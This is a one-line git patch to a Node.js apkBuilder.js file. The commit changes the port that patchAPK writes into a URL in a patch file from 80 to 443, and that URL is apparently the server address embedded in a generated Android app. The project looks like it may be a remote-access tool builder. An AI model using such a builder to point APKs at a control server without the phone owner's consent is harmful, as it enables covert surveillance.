From ffbd51995532e6e73167893c4f33540e3e92181d Mon Sep 17 00:00:00 2001 From: ChrisStone07 Date: Mon, 23 Mar 2020 22:46:57 +0530 Subject: [PATCH] Fixed port bug --- includes/apkBuilder.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/includes/apkBuilder.js b/includes/apkBuilder.js index 0f0671d..403d214 100644 --- a/includes/apkBuilder.js +++ b/includes/apkBuilder.js @@ -25,7 +25,7 @@ function patchAPK(URI, PORT, cb) { fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) { if (err) return cb('File Patch Error - READ') var result = data.replace(data.substring(data.indexOf("https://"), data.indexOf("?model=")), -"https://" + URI + ":" + "80"); +"https://" + URI + ":" + "443"); fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) { if (err) return cb('File Patch Error - WRITE') else return cb(false)